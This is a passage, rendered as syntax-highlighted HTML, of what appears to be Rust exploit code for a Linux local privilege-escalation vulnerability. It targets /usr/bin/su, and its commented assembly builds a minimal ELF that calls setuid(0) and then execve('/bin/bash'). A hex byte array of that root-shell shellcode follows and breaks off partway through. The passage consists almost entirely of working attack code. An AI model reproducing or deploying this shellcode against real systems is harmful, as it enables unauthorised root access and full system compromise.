z-python">TARGET_BINARY</span></span><span class="z-punctuation z-separator z-annotation z-variable z-python">:</span> <span class="z-keyword z-operator z-arithmetic z-python">&amp;</span><span class="z-meta z-qualified-name z-python"><span class="z-support z-type z-python">str</span></span> <span class="z-keyword z-operator z-assignment z-python">=</span> <span class="z-meta z-string z-python"><span class="z-string z-quoted z-double z-python"><span class="z-punctuation z-definition z-string z-begin z-python">&quot;</span></span></span><span class="z-meta z-string z-python"><span class="z-string z-quoted z-double z-python">/usr/bin/su<span class="z-punctuation z-definition z-string z-end z-python">&quot;</span></span></span><span class="z-punctuation z-terminator z-statement z-python">;</span> </span><span class="z-source z-python"><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">const</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-variable z-other z-constant z-python">TEST_FILE</span></span><span class="z-punctuation z-separator z-annotation z-variable z-python">:</span> <span class="z-keyword z-operator z-arithmetic z-python">&amp;</span><span class="z-meta z-qualified-name z-python"><span class="z-support z-type z-python">str</span></span> <span class="z-keyword z-operator z-assignment z-python">=</span> <span class="z-meta z-string z-python"><span class="z-string z-quoted z-double z-python"><span class="z-punctuation z-definition z-string z-begin z-python">&quot;</span></span></span><span class="z-meta z-string z-python"><span class="z-string z-quoted z-double z-python">/tmp/.cve_test<span class="z-punctuation z-definition z-string z-end z-python">&quot;</span></span></span><span class="z-punctuation z-terminator z-statement z-python">;</span> </span><span class="z-source z-python"> </span><span class="z-source z-python"><span class="z-keyword z-operator z-arithmetic z-python">/</span><span class="z-keyword z-operator z-arithmetic z-python">/</span> <span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">Shellcode</span></span></span> </span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-keyword z-operator z-arithmetic z-python">/</span><span class="z-meta z-qualified-name z-python"><span class="z-support z-function z-builtin z-python">bin</span></span><span class="z-keyword z-operator z-arithmetic z-python">/</span><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">bash</span></span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span> </span><span class="z-source z-python"><span class="z-keyword z-operator z-arithmetic z-python">/</span><span class="z-keyword z-operator z-arithmetic z-python">*</span> </span><span class="z-source z-python"><span class="z-punctuation z-terminator z-statement z-python">;</span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">Reference</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">of</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">syscall</span></span><span class="z-punctuation z-separator z-annotation z-variable z-python">:</span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">https</span></span><span class="z-punctuation z-separator z-annotation z-variable z-python">:</span><span class="z-keyword z-operator z-arithmetic z-python">/</span><span class="z-keyword z-operator z-arithmetic z-python">/</span><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">filippo</span><span class="z-punctuation z-accessor z-dot z-python">.</span><span class="z-meta z-generic-name z-python">io</span></span><span class="z-keyword z-operator z-arithmetic z-python">/</span><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">linux</span></span><span class="z-keyword z-operator z-arithmetic z-python">-</span><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">syscall</span></span><span class="z-keyword z-operator z-arithmetic z-python">-</span><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">table</span></span><span class="z-keyword z-operator z-arithmetic z-python">/</span> </span><span class="z-source z-python"><span class="z-punctuation z-terminator z-statement z-python">;</span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">The</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">assembly</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">code</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">of</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">the</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">shellcode</span></span> <span class="z-keyword z-operator z-logical z-python">is</span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">shown</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">below</span></span> </span><span class="z-source z-python"><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">db</span></span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>7f</span>, <span class="z-meta z-string z-python"><span class="z-string z-quoted z-single z-python"><span class="z-punctuation z-definition z-string z-begin z-python">&#39;</span></span></span><span class="z-meta z-string z-python"><span class="z-string z-quoted z-single z-python">ELF<span class="z-punctuation z-definition z-string z-end z-python">&#39;</span></span></span>, <span class="z-constant z-numeric z-integer z-decimal z-python">2</span>, <span class="z-constant z-numeric z-integer z-decimal z-python">1</span>, <span class="z-constant z-numeric z-integer z-decimal z-python">1</span>, <span class="z-constant z-numeric z-integer z-decimal z-python">0</span> <span class="z-punctuation z-terminator z-statement z-python">;</span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">e_ident</span></span> </span><span class="z-source z-python"><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">dq</span></span> <span class="z-constant z-numeric z-integer z-decimal z-python">0</span> <span class="z-punctuation z-terminator z-statement z-python">;</span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">padding</span></span> </span><span class="z-source z-python"><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">dw</span></span> <span class="z-constant z-numeric z-integer z-decimal z-python">2</span> <span class="z-punctuation z-terminator z-statement z-python">;</span> <span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">e_type</span></span></span> </span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-meta z-qualified-name z-python"><span class="z-variable z-other z-constant z-python">ET_EXEC</span></span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span> </span><span class="z-source z-python"><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">dw</span></span> <span class="z-constant z-numeric z-integer z-decimal z-python">62</span> <span class="z-punctuation z-terminator z-statement z-python">;</span> <span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">e_machine</span></span></span> </span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-meta z-qualified-name z-python"><span class="z-variable z-other z-constant z-python">EM_X86_64</span></span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span> </span><span class="z-source z-python"><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">dd</span></span> <span class="z-constant z-numeric z-integer z-decimal z-python">1</span> <span class="z-punctuation z-terminator z-statement z-python">;</span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">e_version</span></span> </span><span class="z-source z-python"><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">dq</span></span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>400078</span> <span class="z-punctuation z-terminator z-statement z-python">;</span> <span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">e_entry</span></span></span> </span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">Entry</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">point</span></span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span> </span><span class="z-source z-python"><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">dq</span></span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>40</span> <span class="z-punctuation z-terminator z-statement z-python">;</span> <span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">e_phoff</span></span></span> </span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">Program</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">Header</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">Offset</span></span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span> </span><span class="z-source z-python"><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">dq</span></span> <span class="z-constant z-numeric z-integer z-decimal z-python">0</span> <span class="z-punctuation z-terminator z-statement z-python">;</span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">e_shoff</span></span> </span><span class="z-source z-python"><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">dd</span></span> <span class="z-constant z-numeric z-integer z-decimal z-python">0</span> <span class="z-punctuation z-terminator z-statement z-python">;</span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">e_flags</span></span> </span><span class="z-source z-python"><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">dw</span></span> <span class="z-constant z-numeric z-integer z-decimal z-python">64</span> <span class="z-punctuation z-terminator z-statement z-python">;</span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">e_ehsize</span></span> </span><span class="z-source z-python"><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">dw</span></span> <span class="z-constant z-numeric z-integer z-decimal z-python">56</span> <span class="z-punctuation z-terminator z-statement z-python">;</span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">e_phentsize</span></span> </span><span class="z-source z-python"><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">dw</span></span> <span class="z-constant z-numeric z-integer z-decimal z-python">1</span> <span class="z-punctuation z-terminator z-statement z-python">;</span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">e_phnum</span></span> </span><span class="z-source z-python"><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">dw</span></span> <span class="z-constant z-numeric z-integer z-decimal z-python">0</span>, <span class="z-constant z-numeric z-integer z-decimal z-python">0</span>, <span class="z-constant z-numeric z-integer z-decimal z-python">0</span> <span class="z-punctuation z-terminator z-statement z-python">;</span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">s_header</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">info</span></span> </span><span class="z-source z-python"> </span><span class="z-source z-python"><span class="z-punctuation z-terminator z-statement z-python">;</span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">Program</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">Header</span></span> </span><span class="z-source z-python"><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">dd</span></span> <span class="z-constant z-numeric z-integer z-decimal z-python">1</span> <span class="z-punctuation z-terminator z-statement z-python">;</span> <span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">p_type</span></span></span> </span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-meta z-qualified-name z-python"><span class="z-variable z-other z-constant z-python">PT_LOAD</span></span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span> </span><span class="z-source z-python"><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">dd</span></span> <span class="z-constant z-numeric z-integer z-decimal z-python">5</span> <span class="z-punctuation z-terminator z-statement z-python">;</span> <span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">p_flags</span></span></span> </span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-meta z-qualified-name z-python"><span class="z-variable z-other z-constant z-python">PF_R</span></span> <span class="z-keyword z-operator z-arithmetic z-python">|</span> <span class="z-meta z-qualified-name z-python"><span class="z-variable z-other z-constant z-python">PF_X</span></span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span> </span><span class="z-source z-python"><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">dq</span></span> <span class="z-constant z-numeric z-integer z-decimal z-python">0</span> <span class="z-punctuation z-terminator z-statement z-python">;</span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">p_offset</span></span> </span><span class="z-source z-python"><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">dq</span></span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>400000</span> <span class="z-punctuation z-terminator z-statement z-python">;</span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">p_vaddr</span></span> </span><span class="z-source z-python"><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">dq</span></span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>400000</span> <span class="z-punctuation z-terminator z-statement z-python">;</span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">p_paddr</span></span> </span><span class="z-source z-python"><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">dq</span></span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>9e</span> <span class="z-punctuation z-terminator z-statement z-python">;</span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">p_filesz</span></span> </span><span class="z-source z-python"><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">dq</span></span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>9e</span> <span class="z-punctuation z-terminator z-statement z-python">;</span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">p_memsz</span></span> </span><span class="z-source z-python"><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">dq</span></span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>1000</span> <span class="z-punctuation z-terminator z-statement z-python">;</span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">p_align</span></span> </span><span class="z-source z-python"> </span><span class="z-source z-python"><span class="z-punctuation z-terminator z-statement z-python">;</span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">Program</span></span> </span><span class="z-source z-python"><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">_start</span></span><span class="z-punctuation z-separator z-annotation z-variable z-python">:</span> </span><span class="z-source z-python"> <span class="z-punctuation z-terminator z-statement z-python">;</span> <span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">setuid</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-constant z-numeric z-integer z-decimal z-python">0</span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span> </span><span class="z-source z-python"> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">xor</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">eax</span></span>, <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">eax</span></span> <span class="z-punctuation z-terminator z-statement z-python">;</span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">clear</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">eax</span></span> </span><span class="z-source z-python"> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">xor</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">edi</span></span>, <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">edi</span></span> <span class="z-punctuation z-terminator z-statement z-python">;</span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">edi</span></span> <span class="z-keyword z-operator z-assignment z-python">=</span> <span class="z-constant z-numeric z-integer z-decimal z-python">0</span> <span class="z-meta z-group z-python"><span class="z-punctuation z-section z-group z-begin z-python">(</span><span class="z-meta z-qualified-name z-python"><span class="z-variable z-other z-constant z-python">UID</span></span> <span class="z-constant z-numeric z-integer z-decimal z-python">0</span><span class="z-punctuation z-section z-group z-end z-python">)</span></span> </span><span class="z-source z-python"> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">mov</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">al</span></span>, <span class="z-constant z-numeric z-integer z-decimal z-python">105</span> <span class="z-punctuation z-terminator z-statement z-python">;</span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">syscall</span></span> <span class="z-constant z-numeric z-integer z-decimal z-python">105</span> <span class="z-meta z-group z-python"><span class="z-punctuation z-section z-group z-begin z-python">(</span><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">setuid</span></span><span class="z-punctuation z-section z-group z-end z-python">)</span></span> </span><span class="z-source z-python"> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">syscall</span></span> </span><span class="z-source z-python"> </span><span class="z-source z-python"> <span class="z-punctuation z-terminator z-statement z-python">;</span> <span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">execve</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-meta z-string z-python"><span class="z-string z-quoted z-double z-python"><span class="z-punctuation z-definition z-string z-begin z-python">&quot;</span></span></span><span class="z-meta z-string z-python"><span class="z-string z-quoted z-double z-python">/bin/bash<span class="z-punctuation z-definition z-string z-end z-python">&quot;</span></span></span><span class="z-punctuation z-separator z-arguments z-python">,</span> <span class="z-meta z-qualified-name z-python"><span class="z-variable z-other z-constant z-python">NULL</span></span><span class="z-punctuation z-separator z-arguments z-python">,</span> <span class="z-meta z-qualified-name z-python"><span class="z-variable z-other z-constant z-python">NULL</span></span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span> </span><span class="z-source z-python"> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">lea</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">rdi</span></span>, <span class="z-meta z-sequence z-list z-python"><span class="z-punctuation z-section z-sequence z-begin z-python">[</span><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">rel</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">path</span></span><span class="z-punctuation z-section z-sequence z-end z-python">]</span></span> <span class="z-punctuation z-terminator z-statement z-python">;</span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">Load</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">effective</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">address</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">of</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">the</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">string</span></span> </span><span class="z-source z-python"> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">xor</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">esi</span></span>, <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">esi</span></span> <span class="z-punctuation z-terminator z-statement z-python">;</span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">argv</span></span> <span class="z-keyword z-operator z-assignment z-python">=</span> <span class="z-meta z-qualified-name z-python"><span class="z-variable z-other z-constant z-python">NULL</span></span> </span><span class="z-source z-python"> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">cdq</span></span> <span class="z-punctuation z-terminator z-statement z-python">;</span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">edx</span></span> <span class="z-keyword z-operator z-assignment z-python">=</span> <span class="z-constant z-numeric z-integer z-decimal z-python">0</span> <span class="z-meta z-group z-python"><span class="z-punctuation z-section z-group z-begin z-python">(</span><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">envp</span></span> = <span class="z-meta z-qualified-name z-python"><span class="z-variable z-other z-constant z-python">NULL</span></span><span class="z-punctuation z-section z-group z-end z-python">)</span></span> </span><span class="z-source z-python"> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">mov</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">al</span></span>, <span class="z-constant z-numeric z-integer z-decimal z-python">59</span> <span class="z-punctuation z-terminator z-statement z-python">;</span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">syscall</span></span> <span class="z-constant z-numeric z-integer z-decimal z-python">59</span> <span class="z-meta z-group z-python"><span class="z-punctuation z-section z-group z-begin z-python">(</span><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">execve</span></span><span class="z-punctuation z-section z-group z-end z-python">)</span></span> </span><span class="z-source z-python"> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">syscall</span></span> </span><span class="z-source z-python"> </span><span class="z-source z-python"> <span class="z-punctuation z-terminator z-statement z-python">;</span> <span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">exit</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-constant z-numeric z-integer z-decimal z-python">0</span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span> </span><span class="z-source z-python"> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">xor</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">edi</span></span>, <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">edi</span></span> </span><span class="z-source z-python"> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">push</span></span> <span class="z-constant z-numeric z-integer z-decimal z-python">60</span> </span><span class="z-source z-python"> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">pop</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">rax</span></span> <span class="z-punctuation z-terminator z-statement z-python">;</span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">syscall</span></span> <span class="z-constant z-numeric z-integer z-decimal z-python">60</span> <span class="z-meta z-group z-python"><span class="z-punctuation z-section z-group z-begin z-python">(</span><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">exit</span></span><span class="z-punctuation z-section z-group z-end z-python">)</span></span> </span><span class="z-source z-python"> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">syscall</span></span> </span><span class="z-source z-python"> </span><span class="z-source z-python"><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">path</span></span><span class="z-punctuation z-separator z-annotation z-variable z-python">:</span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">db</span></span> <span class="z-meta z-string z-python"><span class="z-string z-quoted z-double z-python"><span class="z-punctuation z-definition z-string z-begin z-python">&quot;</span></span></span><span class="z-meta z-string z-python"><span class="z-string z-quoted z-double z-python">/bin/bash<span class="z-punctuation z-definition z-string z-end z-python">&quot;</span></span></span>, <span class="z-constant z-numeric z-integer z-decimal z-python">0</span> </span><span class="z-source z-python"><span class="z-keyword z-operator z-arithmetic z-python">*</span><span class="z-keyword z-operator z-arithmetic z-python">/</span> </span><span class="z-source z-python"><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">const</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-variable z-other z-constant z-python">BASH_SHELLCODE</span></span><span class="z-punctuation z-separator z-annotation z-variable z-python">:</span> <span class="z-keyword z-operator z-arithmetic z-python">&amp;</span><span class="z-meta z-sequence z-list z-python"><span class="z-punctuation z-section z-sequence z-begin z-python">[</span><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">u8</span></span><span class="z-punctuation z-section z-sequence z-end z-python">]</span></span> <span class="z-keyword z-operator z-assignment z-python">=</span> <span class="z-keyword z-operator z-arithmetic z-python">&amp;</span><span class="z-meta z-sequence z-list z-python"><span class="z-punctuation z-section z-sequence z-begin z-python">[</span> </span></span><span class="z-source z-python"><span class="z-meta z-sequence z-list z-python"> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>7f</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>45</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>4c</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>46</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>02</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>01</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>01</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>00</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>00</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>00</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>00</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>00</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>00</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>00</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>00</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>00</span><span class="z-punctuation z-separator z-sequence z-python">,</span> </span></span><span class="z-source z-python"><span class="z-meta z-sequence z-list z-python"> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>02</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>00</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>3e</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>00</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>01</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>00</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>00</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span 